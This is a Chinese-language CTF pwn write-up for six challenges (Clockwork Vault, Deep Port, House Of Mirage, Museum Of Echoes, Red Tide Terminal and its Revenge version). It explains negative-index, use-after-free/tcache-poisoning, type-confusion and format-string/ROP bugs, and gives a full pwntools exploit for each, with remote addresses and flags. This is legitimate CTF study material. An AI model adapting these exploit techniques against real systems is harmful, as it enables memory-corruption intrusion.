Clockwork Vault

题目考点

数组负数下标+encoded function pointer。

例行看一下保护:

Full RELRO, NX enabled, PIE enabled, No canary

程序没strip,还带了符号,所以主要逻辑很快能对上。菜单只有三个有用功能:

1. Inspect mechanism
2. Retune mechanism
3. Run service cycle

结构体大概是这样:

struct slot {
    char name[0x10];
    unsigned long long setting;
    unsigned long long encoded_action;
};

slots里前两项是隐藏项,正常菜单用index + 2去访问后面的机制:

slot = &slots[index + 2];

setup里会初始化一个service_cookie:

service_cookie = 0x3141592653589793 ^ ((uintptr_t)slots >> 12);
slots[0].setting = service_cookie;
slots[1].encoded_action = service_cookie ^ idle_cycle;
slots[2..9].encoded_action = service_cookie ^ trigger_alarm;

跑service cycle时,程序只检查slots[1].setting:

if (slots[1].setting == 0x43414c4942524154) {
    action = slots[1].encoded_action ^ service_cookie;
    action();
}

所以目标很明确:改slots[1],让它通过magic,然后把encoded action改成service_cookie ^ open_vault。

漏洞

问题在inspect_slot和retune_slot的边界检查:

if (index > 7) {
    puts("No such mechanism.");
    return;
}
slot = &slots[index + 2];

这里只拦了大于7,没有拦负数。

所以:

  • index = -2会访问slots[0],也就是隐藏的service-key
  • index = -1会访问slots[1],也就是隐藏的maint-core
  • index = 0会访问slots[2],正常第一个可见slot

inspect -2可以直接读出slots[0].setting,也就是service_cookie。

inspect -1可以读出service_cookie ^ idle_cycle。拿到cookie后异或一下,就是idle_cycle地址。

inspect 0可以读出service_cookie ^ trigger_alarm,同理可以拿到trigger_alarm地址。

利用思路

本地二进制里可以直接用符号表算:

pie_base = idle_addr - elf.symbols["idle_cycle"]
open_vault = pie_base + elf.symbols["open_vault"]

不过远程和本地这里有一点布局差异,直接套本地符号算出来的open_vault会偏掉。好在这几个函数是连续的小函数:

idle_cycle -> trigger_alarm -> open_vault

远程leak到的是:

idle_cycle    = 0x4013ba
trigger_alarm = 0x4013cf
open_vault    = 0x4013e4

所以直接用远程自身的间距算:

open_vault = trigger_alarm + (trigger_alarm - idle_cycle)

后面就很直接了:

  1. inspect(-2)leakservice_cookie
  2. inspect(-1)leakidle_cycle
  3. inspect(0)leaktrigger_alarm
  4. 算出open_vault
  5. retune(-1, 0x43414c4942524154, service_cookie ^ open_vault)
  6. 运行service cycle

EXP

from pwn import ELF, args, context, log, process, remote


context.log_level = "info"

BINARY = args.BIN or "./clockwork_vault_run"
elf = ELF(BINARY, checksec=False)


def choose(io, option):
    io.recvuntil(b"> ")
    io.sendline(str(option).encode())


def inspect(io, index):
    choose(io, 1)
    io.recvuntil(b"Mechanism index:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"Setting: ")
    setting = int(io.recvline().strip(), 16)
    io.recvuntil(b"Encoded routine: ")
    encoded = int(io.recvline().strip(), 16)
    return setting, encoded


def retune(io, index, setting, encoded):
    choose(io, 2)
    io.recvuntil(b"Mechanism index:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"New setting:\n")
    io.sendline(hex(setting).encode())
    io.recvuntil(b"New encoded routine:\n")
    io.sendline(hex(encoded).encode())
    io.recvuntil(b"Mechanism retuned.\n")


def start():
    if args.HOST and args.PORT:
        return remote(args.HOST, int(args.PORT))
    return process(BINARY, cwd=args.CWD or ".")


def main():
    io = start()

    service_cookie, _ = inspect(io, -2)
    _, encoded_idle = inspect(io, -1)
    _, encoded_trigger = inspect(io, 0)
    idle_addr = encoded_idle ^ service_cookie
    trigger_addr = encoded_trigger ^ service_cookie
    open_vault = trigger_addr + (trigger_addr - idle_addr)
    pie_base = idle_addr - elf.symbols["idle_cycle"]
    encoded_open = service_cookie ^ open_vault

    log.info("service_cookie = %#x", service_cookie)
    log.info("idle_cycle     = %#x", idle_addr)
    log.info("trigger_alarm  = %#x", trigger_addr)
    log.info("pie_base       = %#x", pie_base)
    log.info("open_vault     = %#x", open_vault)

    retune(io, -1, 0x43414C4942524154, encoded_open)
    choose(io, 3)
    print(io.recvall(timeout=2).decode(errors="replace"), end="")


if __name__ == "__main__":
    main()

远程:

$ python3 exploit.py HOST=10.112.0.12 PORT=47264
[*] service_cookie = 0x3141592653589397
[*] idle_cycle     = 0x4013ba
[*] trigger_alarm  = 0x4013cf
[*] open_vault     = 0x4013e4
Cycling the maintenance core...
The final lock disengages.
Flag: grodno{97697ff0-57bf-4bfc-8c08-8de1ea7da8a0}

Flag:

grodno{97697ff0-57bf-4bfc-8c08-8de1ea7da8a0}

Deep Port

这题是菜单堆题。程序本地给的二进制带符号,逻辑不复杂:维护8个shipment,每个entry里有size / manifest_ptr / receipt_stamp三个字段。

后面路线也比较明确:free后指针没清,形成UAF;先leak出函数地址和heap地址,再用tcache poisoning把下一次分配打到harbor + 0x20,改掉dispatch hook。远程和本地二进制布局不一样,这里卡了一下,最后用同一个primitive做了一次AAR,把远程的print_flag入口读出来。

程序逻辑

保护本地看起来开得比较全:

Full RELRO, Canary, NX, PIE

不过程序自己给了很强的泄露。结构大概是这样:

struct shipment {
    size_t size;
    char *manifest;
    void (*stamp)(char *);
};

struct harbor {
    char status[0x20];
    void (*dispatch_hook)(struct harbor *);
    char route[0x20];
};

setup里会先申请一个harbor,里面放:

harbor->status = "Harbor status: calm";
harbor->dispatch_hook = standby;
harbor->route = "flag.txt";

菜单里比较关键的是:

create:  malloc(size), stamp = standby
edit:    read(manifest, size - 1)
view:    printf stamp / manifest / *(uint64_t *)manifest
release: free(manifest)
replace: manifest = malloc(size), read(manifest, size - 1)
dispatch: harbor->dispatch_hook(harbor)

print_flag(harbor)也在程序里,逻辑是打开harbor + 0x28指向的字符串,也就是默认的flag.txt,然后打印flag。

UAF

漏洞点在release。它只free,没有把shipments[i].manifest清零。

free(shipments[i].manifest);
puts("Shipment released.");

所以释放之后,这个slot还能继续view / edit / replace。这个状态很有用:

  • view能打印stale pointer,还会打印freed chunk的第一个qword;
  • edit能往freed chunk里写,也就是能改tcache fd;
  • replace会按旧size再malloc,可以把poisoning结果拿出来。

本地heap布局调一下,harbor后面紧跟第一个0x50的manifest chunk:

harbor = chunk0 - 0x50
hook   = harbor + 0x20

这个偏移远程也保持一致。

tcache poisoning

远程glibc开了safe-linking,所以fd不是直接写目标地址,而是:

fd = target ^ (chunk_addr >> 12)

一开始我按单个freed chunk去打,本地能过,远程不行。原因是远程allocator状态更严格,单个entry改fd后tcache count不够,下一次不会正常返回poisoned target。

所以远程用两个同size chunk:

free(chunk0)
free(chunk1)
edit(chunk1, (target ^ (chunk1 >> 12)))
replace(slot0)  -> 取出 chunk1
replace(slot1)  -> 返回 target

目标如果设成harbor + 0x20,第二次replace就会把shipments[1].manifest变成hook地址。此时写入:

p64(print_flag) + b"flag.txt\x00"

刚好覆盖:

harbor + 0x20 : dispatch_hook
harbor + 0x28 : route

最后选Dispatch,就是print_flag(harbor)。

远程差异

本地二进制是PIE,远程leak出来的standby却是固定地址:

standby = 0x4012b6

而且本地符号里的print_flag offset不能直接套,standby + 0x3e打过去会断。这里不能继续猜地址,直接把同一个tcache poisoning扩一下,伪造shipments做AAR。

远程shipments基址试出来是0x4040c0。把下一次分配打到这里,然后伪造slot:

fake_entry = p64(0x100) + p64(read_addr) + p64(0x1111111122222222)

这样再view(0)时,程序会认为manifest = read_addr,然后打印:

*(uint64_t *)manifest

读0x4012b6能看到正常函数序言:

0x4012b6: f3 0f 1e fa 55 48 89 e5 ...

继续往后dump一小段.text,看到下一个函数入口在:

0x4012d5: f3 0f 1e fa 55 48 89 e5 ...

后面的调用序列也对得上fopen / fgets / fclose / printf / exit,所以远程:

print_flag = 0x4012d5 = standby + 0x1f

到这里final exp就不用再做AAR了,直接用这个delta打hook。

exp

from pwn import *
import argparse
import re

context.log_level = "info"

PRINT_FLAG_DELTA = 0x1f
HARBOR_TO_FIRST_MANIFEST = 0x50
HOOK_OFF = 0x20


def start(args):
    if args.remote:
        host, port = args.remote.split(":", 1)
        return remote(host, int(port))
    return process("./deep_port")


def choose(io, choice):
    io.recvuntil(b"> ")
    io.sendline(str(choice).encode())


def create(io, slot, size, data):
    choose(io, 1)
    io.recvuntil(b"Slot:")
    io.sendline(str(slot).encode())
    io.recvuntil(b"Manifest size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Manifest data:")
    io.send(data)
    io.recvuntil(b"Docked.")


def edit(io, slot, data):
    choose(io, 2)
    io.recvuntil(b"Slot:")
    io.sendline(str(slot).encode())
    io.recvuntil(b"New manifest data:")
    io.send(data)
    io.recvuntil(b"Updated.")


def view(io, slot):
    choose(io, 3)
    io.recvuntil(b"Slot:")
    io.sendline(str(slot).encode())
    return io.recvuntil(b"Preview:") + io.recvline()


def release(io, slot):
    choose(io, 4)
    io.recvuntil(b"Slot:")
    io.sendline(str(slot).encode())
    io.recvuntil(b"Shipment released.")


def replace(io, slot, data):
    choose(io, 5)
    io.recvuntil(b"Slot:")
    io.sendline(str(slot).encode())
    io.recvuntil(b"Replacement manifest:")
    io.send(data)
    io.recvuntil(b"Manifest replaced.")


def parse_leaks(blob):
    stamp = int(re.search(rb"Receipt stamp: (0x[0-9a-fA-F]+)", blob).group(1), 16)
    manifest = int(re.search(rb"Manifest pointer: (0x[0-9a-fA-F]+)", blob).group(1), 16)
    return stamp, manifest


def exploit(args):
    io = start(args)
    size = 0x50

    create(io, 0, size, b"A\n")
    create(io, 1, size, b"B\n")

    standby, chunk0 = parse_leaks(view(io, 0))
    _, chunk1 = parse_leaks(view(io, 1))

    print_flag = standby + PRINT_FLAG_DELTA
    harbor = chunk0 - HARBOR_TO_FIRST_MANIFEST
    target = harbor + HOOK_OFF

    log.info("standby leak = %#x", standby)
    log.info("chunk0       = %#x", chunk0)
    log.info("chunk1       = %#x", chunk1)
    log.info("harbor       = %#x", harbor)
    log.info("hook target  = %#x", target)
    log.info("print_flag   = %#x", print_flag)

    release(io, 0)
    release(io, 1)

    poison = target ^ (chunk1 >> 12)
    edit(io, 1, p64(poison))

    replace(io, 0, b"C\n")

    payload = p64(print_flag) + b"flag.txt\x00"
    payload = payload.ljust(size - 1, b"P")
    replace(io, 1, payload)

    choose(io, 7)
    print(io.recvall(timeout=3).decode(errors="replace"), end="")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--remote", help="host:port")
    args = parser.parse_args()
    exploit(args)


if __name__ == "__main__":
    main()

Flag:

grodno{7e64f9cc-75c6-4e81-8e1b-d518210b5e16}

House Of Mirage

这题是一个菜单式session broker。保护基本全开,直接劫持GOT这种路不用想。

关键bug在session的过期回收:后台线程会把过期session的chunk放回程序自己的小池子里,但sessions[idx]这一格没有清掉。后面再创建sink时,同一个chunk会被复用,于是sessions[idx]和sinks[idx]指到同一块内存。

后面路线比较短:让session过期,创建sink复用它,用stale session leak PIE和堆地址,再通过mirror import改sink的二级函数指针,最后flush sink触发隐藏函数。

程序逻辑

菜单里和利用有关的功能大概是这些:

1. create session
2. show session
3. mirror import session profile
5. arm session expiry
6. create sink
8. flush sink
9. telemetry

程序自己维护了两组指针:

Session *sessions[8];
Sink    *sinks[8];

session和sink都走一个0x60用户区大小的池子。对象布局不用完全逆完,和exploit有关的是下面几项:

struct Session {
    void *table;        // show session 时当 serial 打印
    long expire_at;
    char owner[0x18];
    char tagline[0x10];
    void *scratch;
    size_t scratch_len;
    uint64_t id;
    uint64_t guard;
};

struct Sink {
    void *call_ptr;     // flush 时会二级间接调用
    uint64_t serial;
    char label[...];
    void *memo;
    size_t memo_len;
};

show session会打印第一个qword:

serial: 0x...

正常session里这个值是PIE + 0x6030,刚好能用来算PIE base。telemetry会把sessions[]和sinks[]里的指针都打印出来,可以拿到重叠chunk的堆地址。

旧指针没清

后台线程大概做的是:

for each sessions[i]:
    if (sessions[i] && time() >= sessions[i]->expire_at) {
        free(sessions[i]->scratch);
        pool_free(sessions[i]);
        // sessions[i] 没有置 0
    }

释放时还会把chunk填成0xa5,但是sessions[i]这个stale pointer还在。

触发很简单:

  1. 创建session。
  2. 把过期时间设成0。
  3. 等后台线程回收。
  4. 创建sink,池子把刚才那个chunk再分出来。

到这里,sessions[0]和sinks[0]指向同一块东西。通过stale session调show,读到的是sink/session重叠后的第一个qword;通过stale session调mirror import,会往同一块内存开头写16字节。

leak和写控制流

本地多轮交互就够了,远程这里有个时序点。过期线程跑得很勤,普通的“创建sink -> show -> import”分成几次网络往返时,重叠对象可能又被线程填成0xa5。所以这里把三个操作排到一次发送里:

6        # create sink
sink
2        # show stale session, leak table
0
3        # import profile, 先冻结 expire_at
0
16

import等待16字节raw data时,写:

p64(0) + p64(0x7fffffffffffffff)

这样先把重叠对象的expire_at改成一个很大的值,防止worker在后面继续擦chunk。这个稳定下来以后,show session泄出来的第一个qword算PIE:

pie = leak - 0x6030
unlock = pie + 0x3970

0x3970是隐藏函数,调用后会打印archive replay和flag。

最后还差一次控制流劫持。flush sink不是直接call [chunk],而是二级间接调用,等价于:

fn = *(uint64_t *)sink->call_ptr;
fn(sink, message);

所以不能直接把第一个qword写成unlock。要把call_ptr指到chunk内第二个qword,再把第二个qword写成unlock:

payload = p64(chunk + 8) + p64(unlock)

这个payload通过stale session的mirror import写进去,然后flush sink就会跳到隐藏函数。

exp

from pathlib import Path
import os
import time

from pwn import context, log, process, remote, p64


context.log_level = "info"

ROOT = Path(__file__).resolve().parent / "House_of_Mirage"
LOADER = ROOT / "ld-linux-x86-64.so.2"
TARGET = ROOT / "house_of_mirage"

SESSION_FUNCTION_TABLE_OFFSET = 0x6030
UNLOCK_OFFSET = 0x3970

REMOTE_HOST = "10.112.0.12"
REMOTE_PORT = 49799


def start():
    if os.getenv("REMOTE") == "1":
        return remote(REMOTE_HOST, REMOTE_PORT, timeout=5)
    return process(
        [str(LOADER), "--library-path", str(ROOT), str(TARGET)],
        cwd=str(ROOT),
    )


def menu(io, choice):
    io.sendlineafter(b"> ", str(choice).encode())


def create_session(io):
    menu(io, 1)
    io.sendlineafter(b"owner: ", b"x")
    io.sendlineafter(b"tagline: ", b"y")
    io.recvuntil(b"session id: ")
    return int(io.recvline().strip())


def arm_expiry(io, session_id, seconds):
    menu(io, 5)
    io.sendlineafter(b"id: ", str(session_id).encode())
    io.sendlineafter(b"seconds until archive sweep: ", str(seconds).encode())
    io.recvuntil(b"session scheduled\n")


def create_leak_and_stabilize(io, session_id):
    io.send(
        b"6\n"
        b"sink\n"
        b"2\n" + str(session_id).encode() + b"\n"
        b"3\n" + str(session_id).encode() + b"\n"
        b"16\n"
    )

    io.recvuntil(b"sink id: ")
    sink_id = int(io.recvline().strip())

    io.recvuntil(b"serial: 0x")
    table = int(io.recvline().strip(), 16)

    io.send(p64(0) + p64(0x7FFFFFFFFFFFFFFF))
    io.recvuntil(b"profile imported\n")

    return sink_id, table


def leak_chunk(io, session_id):
    menu(io, 9)
    io.recvuntil(f"  [{session_id}] ".encode())
    return int(io.recvline().strip(), 16)


def import_profile(io, session_id, blob):
    menu(io, 3)
    io.sendlineafter(b"id: ", str(session_id).encode())
    io.sendlineafter(b"blob length: ", str(len(blob)).encode())
    io.sendafter(b"blob bytes: ", blob)
    io.recvuntil(b"profile imported\n")


def flush(io, sink_id):
    menu(io, 8)
    io.sendlineafter(b"id: ", str(sink_id).encode())
    io.sendlineafter(b"message: ", b"reflect")


def main():
    io = start()

    session_id = create_session(io)
    arm_expiry(io, session_id, 0)
    time.sleep(1.2)

    sink_id, table = create_leak_and_stabilize(io, session_id)
    pie = table - SESSION_FUNCTION_TABLE_OFFSET
    unlock = pie + UNLOCK_OFFSET
    log.success(f"PIE base = {pie:#x}; unlock = {unlock:#x}")

    chunk = leak_chunk(io, session_id)
    log.info(f"overlapped chunk = {chunk:#x}")

    import_profile(io, session_id, p64(chunk + 8) + p64(unlock))
    flush(io, sink_id)

    print(io.recvall(timeout=2).decode(errors="replace"), end="")


if __name__ == "__main__":
    main()

远程直接打:

REMOTE=1 python3 exploit.py

Flag:

grodno{57f429df-6e79-410b-9705-ae32d36adaaf}

Museum Of Echoes

题目考点

类型混淆、相邻堆块越界写、函数指针覆盖。

附件开了Full RELRO、Canary、NX、PIE,不过没什么ROP要打。程序里本身留了一个读flag的grand_finale,把某个exhibit的perform改过去即可。

结构和漏洞

拖进IDA,几个结构体大概是:

typedef struct exhibit {
    int kind;
    uint64_t room;
    void (*perform)(struct exhibit *);
    char label[24];
} exhibit_t;                 // 0x30

typedef struct whisper {
    exhibit_t base;
    char line[32];
} whisper_t;                 // 0x50

typedef struct chorus {
    exhibit_t base;
    char intro[32];
    char refrain[96];
} chorus_t;                  // 0xb0

create_exhibit按kind分配正确大小的对象,rewrite_exhibit也会按kind决定写line,还是写intro/refrain。

问题在reclassify_exhibit:

gallery[idx]->kind = kind;
gallery[idx]->room = 0x4543484f;
gallery[idx]->perform = kind == 1 ? whisper_perform : chorus_perform;

它只改了discriminator,没重分配对象。也就是说,一个原本只有0x50的whisper_t,可以被改成kind == 2,然后走到:

read_blob(((chorus_t *)e)->intro, 31);    // e + 0x30
read_blob(((chorus_t *)e)->refrain, 95);  // e + 0x50

第二次写从对象+0x50开始。malloc(0x50)的相邻chunk用户区间隔是0x60,所以在第一个whisper上伪装chorus后,refrain + 0x10正好落到第二个whisper的起始位置。

第二个对象的关键字段:

target + 0x00 : kind
target + 0x08 : room
target + 0x10 : perform

因此构造两个连续的whisper,改第一个类型后从它的refrain写:

payload  = b'Q' * 0x10
payload += p32(1) + p32(0)          # target->kind
payload += p64(0x4543484f)           # target->room
payload += p64(grand_finale)         # target->perform

最后perform第二个对象。room校验过掉以后就是一次可控的间接调用。

本地和远程

附件是PIE,inspect会直接打印perform指针,所以本地可以leakwhisper_perform后计算PIE base。

但远程不是附件原样部署。远程leak到:

whisper_perform = 0x401296
chorus_perform  = 0x4012cb

这是无PIE的地址。这里不能继续拿附件里的grand_finale - whisper_perform差值硬套,不然会跳错。

我用同一份逻辑重建了一个-no-pie -fno-stack-protector的版本,whisper_perform刚好也在0x401296。远程chorus_perform和本地重建版还有5字节偏移,说明部署时的源码/编译选项还有一点差异。后面按这组已知地址调函数边界,最终grand_finale是:

0x40130d

这里有个小验证:把回调设成0x401300时会返回menu,说明那还在chorus_perform中间;设成0x40130d后直接进grand_finale。

EXP

from pwn import *

context.log_level = 'info'

HOST = args.HOST or '10.112.0.12'
PORT = int(args.PORT or 43664)
ROOM = 0x4543484f
GRAND_FINALE = 0x40130d

io = remote(HOST, PORT)
io.recvuntil(b'== Museum of Echoes ==\n')

def choose(option):
    io.sendlineafter(b'> ', str(option).encode())

def create_whisper(slot, line):
    choose(1)
    io.sendlineafter(b'Slot:\n', str(slot).encode())
    io.sendlineafter(b'Kind (1=whisper, 2=chorus):\n', b'1')
    io.sendafter(b'Line:\n', line)

def reclassify(slot, kind):
    choose(3)
    io.sendlineafter(b'Slot:\n', str(slot).encode())
    io.sendlineafter(b'New kind (1=whisper, 2=chorus):\n', str(kind).encode())
    io.recvuntil(b'Exhibit reclassified.\n')

def rewrite_chorus(slot, intro, refrain):
    choose(2)
    io.sendlineafter(b'Slot:\n', str(slot).encode())
    io.sendafter(b'New intro:\n', intro)
    io.sendafter(b'New refrain:\n', refrain)

create_whisper(0, b'A' * 0x1f)
create_whisper(1, b'B' * 0x1f)

reclassify(0, 2)

payload  = b'Q' * 0x10
payload += p32(1) + p32(0)
payload += p64(ROOM)
payload += p64(GRAND_FINALE)
rewrite_chorus(0, b'C' * 0x1f, payload.ljust(0x5f, b'R'))

choose(5)
io.sendlineafter(b'Slot:\n', b'1')
io.interactive()

Flag

grodno{8ef7c269-c3c8-4200-b6d3-16da4ede91c8}

Red Tide Terminal

题目考点

格式化字符串泄漏/栈溢出/seccomp下的ORW ROP。

分析

拖进Ghidra看一下,逻辑很短。程序先装seccomp,然后读一个codename,再读packet。

log_identity这里直接把用户输入当format string:

puts("Codename:");
fgets(codename, 0x80, stdin);
printf("AUDIT: ");
printf(codename);

route_packet这里读入长度最多给到0xf0,但是栈上packet只有88字节:

puts("Packet length:");
length = read_int();
if (length <= 0xf0) {
    puts("Packet data:");
    read(0, packet, length);
    puts("Packet queued.");
}

本地给的二进制保护开得比较全,PIE、Canary、NX、Full RELRO都有。按本地文件打的话,格式化字符串可以leak canary和PIE,后面再BOF做ROP。

不过远程这里和附件不是同一个构建。远程%p leak出来能看到0x40159a、0x401579这种固定text地址,没看到本地那种canary;再用格式化字符串读.text,确认远程是no PIE、无canary的版本。这个差异要注意,直接套本地偏移会打不通。

seccomp只放了几个syscall:

  • read
  • write
  • openat
  • exit / exit_group

所以不能ret2system,也没必要打libc。直接ORW。

远程调出来的关键布局:

route_packet = 0x401520
packet buffer size = 0x60
saved rbp offset = 0x60
saved rip offset = 0x68

pop rdi ; ret = 0x4013ec
pop rsi ; ret = 0x4013f5
pop rdx ; ret = 0x4013fe
pop rax ; ret = 0x401407
syscall ; ret = 0x401410
leave ; ret = 0x4013e6

这里利用就很直接了。第一段payload覆盖savedrbp为.bss,返回后先调一次read(0, bss, 0x300)把第二段ROP读到.bss,然后leave; ret做stack pivot。

第二段ROP放在.bss,走:

openat(AT_FDCWD, "flag.txt", 0)
read(3, buf, 0x80)
write(1, buf, 0x80)

文件名一开始试flag没输出,远程实际是flag.txt。

EXP

from pwn import *
import sys

context.arch = 'amd64'
context.log_level = args.LOG_LEVEL or 'info'

HOST, PORT = '10.112.0.12', 48981
BSS = 0x404800
STAGE_SIZE = 0x300
FLAG_PATH = sys.argv[1].encode() + b'\x00' if len(sys.argv) > 1 else b'flag.txt\x00'

POP_RDI = 0x4013ec
POP_RSI = 0x4013f5
POP_RDX = 0x4013fe
POP_RAX = 0x401407
SYSCALL = 0x401410
LEAVE_RET = 0x4013e6


def syscall(number, rdi, rsi, rdx):
    return flat(
        POP_RAX, number,
        POP_RDI, rdi,
        POP_RSI, rsi,
        POP_RDX, rdx,
        SYSCALL,
    )


io = remote(HOST, PORT, timeout=8)
io.recvuntil(b'Codename:\n')
io.sendline(b'operator')
io.recvuntil(b'Packet length:\n')

filename_offset = 0x180
output_offset = 0x1a0

stage2 = flat(
    0,
    syscall(257, -100, BSS + filename_offset, 0),
    syscall(0, 3, BSS + output_offset, 0x80),
    syscall(1, 1, BSS + output_offset, 0x80),
)
stage2 = stage2.ljust(filename_offset, b'\x00') + FLAG_PATH

stage1 = flat(
    b'A' * 0x60,
    BSS,
    syscall(0, 0, BSS, STAGE_SIZE),
    LEAVE_RET,
)

io.sendline(str(len(stage1)).encode())
io.recvuntil(b'Packet data:\n')
io.send(stage1)
io.recvuntil(b'Packet queued.\n')
io.send(stage2)

print(io.recvall(timeout=4).decode('latin-1', errors='replace'))

Flag

grodno{0a16fbaf-9cec-423f-9497-51bdaa2cf465}

Red Tide Terminal Revenge

题目考点

格式化字符串泄漏/栈溢出/seccomp下的ORW ROP。

分析

revenge版和上一题很像,不过把输入拆成了一个session_t。本地附件保护还是全开:PIE、Canary、NX、Full RELRO。

log_identity读两段输入,第二段note最后直接进printf:

fgets(session->codename, 0x28, stdin);
fgets(session->note, 0x28, stdin);
printf("AUDIT[%#lx]: ", session->ticket);
printf(session->note);

格式串长度只有0x28,比上一题短不少。本地可以用%9$p|%11$p,第9项是canary,第11项是log_identity返回后的代码地址,也就是PIE leak。

后面的route_packet还是栈溢出:

puts("Packet length:");
length = read_int();
if (length <= 0xb0) {
    puts("Packet data:");
    read(0, packet, length);
    puts("Packet queued.");
}

本地附件里packet在rbp-0x50,canary在offset0x48,saved rbp在offset0x50,saved rip在offset0x58。长度上限是0xb0,刚好够放一段很短的stage1。

seccomp还是只放read、write、openat和退出,所以路线不变:ORW。

远程差异

远程不能直接套本地leak。第一次试的时候,本地第9项在远程变成了0x40160d,明显不是canary。继续探一下可以看到远程是固定0x401xxx地址,没观察到route_packet的canary,和附件不是同一个构建。

这里用格式串做了个小读原语。先在note后面塞marker,发现附加地址落在第19个参数,所以可以用%19$s读远程.text。远程调出来的关键值:

buffer offset = 0x50
saved rbp offset = 0x50
saved rip offset = 0x58

pop rdi ; ret = 0x4013ec
pop rsi ; ret = 0x4013f5
pop rdx ; ret = 0x4013fe
pop rax ; ret = 0x401407
syscall ; ret = 0x401410
leave ; ret = 0x40141a

所以远程比本地反而更省事,不需要canary。第一段payload覆盖saved rbp为.bss,返回后执行read(0, .bss, 0x300)读第二段,然后leave; ret做stack pivot。

第二段就是:

openat(AT_FDCWD, "flag.txt", 0)
read(3, buf, 0x80)
write(1, buf, 0x80)

EXP

from pwn import *

context.arch = 'amd64'
context.log_level = args.LOG_LEVEL or 'info'

HOST, PORT = '10.112.0.12', 49333
BSS = 0x404800
STAGE_SIZE = 0x300
FLAG_PATH = (args.PATH or 'flag.txt').encode() + b'\x00'

POP_RDI = 0x4013ec
POP_RSI = 0x4013f5
POP_RDX = 0x4013fe
POP_RAX = 0x401407
SYSCALL = 0x401410
LEAVE_RET = 0x40141a


def sc(number, rdi, rsi, rdx):
    return flat(
        POP_RAX, number,
        POP_RDI, rdi,
        POP_RSI, rsi,
        POP_RDX, rdx,
        SYSCALL,
    )


io = remote(HOST, PORT, timeout=8)
io.recvuntil(b'Codename:\n')
io.sendline(b'name')
io.recvuntil(b'Audit note:\n')
io.sendline(b'note')
io.recvuntil(b'Packet length:\n')

path = BSS + 0x200
buf = BSS + 0x220
stage2 = flat(
    0,
    sc(257, -100, path, 0),
    sc(0, 3, buf, 0x80),
    sc(1, 1, buf, 0x80),
).ljust(0x200, b'\x00') + FLAG_PATH

stage1 = flat(
    b'A' * 0x50,
    BSS,
    sc(0, 0, BSS, STAGE_SIZE),
    LEAVE_RET,
)

io.sendline(str(len(stage1)).encode())
io.recvuntil(b'Packet data:\n')
io.send(stage1)
io.recvuntil(b'Packet queued.\n')
io.send(stage2)

print(io.recvall(timeout=4).decode('latin-1', 'replace'), end='')

Flag

grodno{41dba90a-4694-4b13-83de-2c15aabb4e44}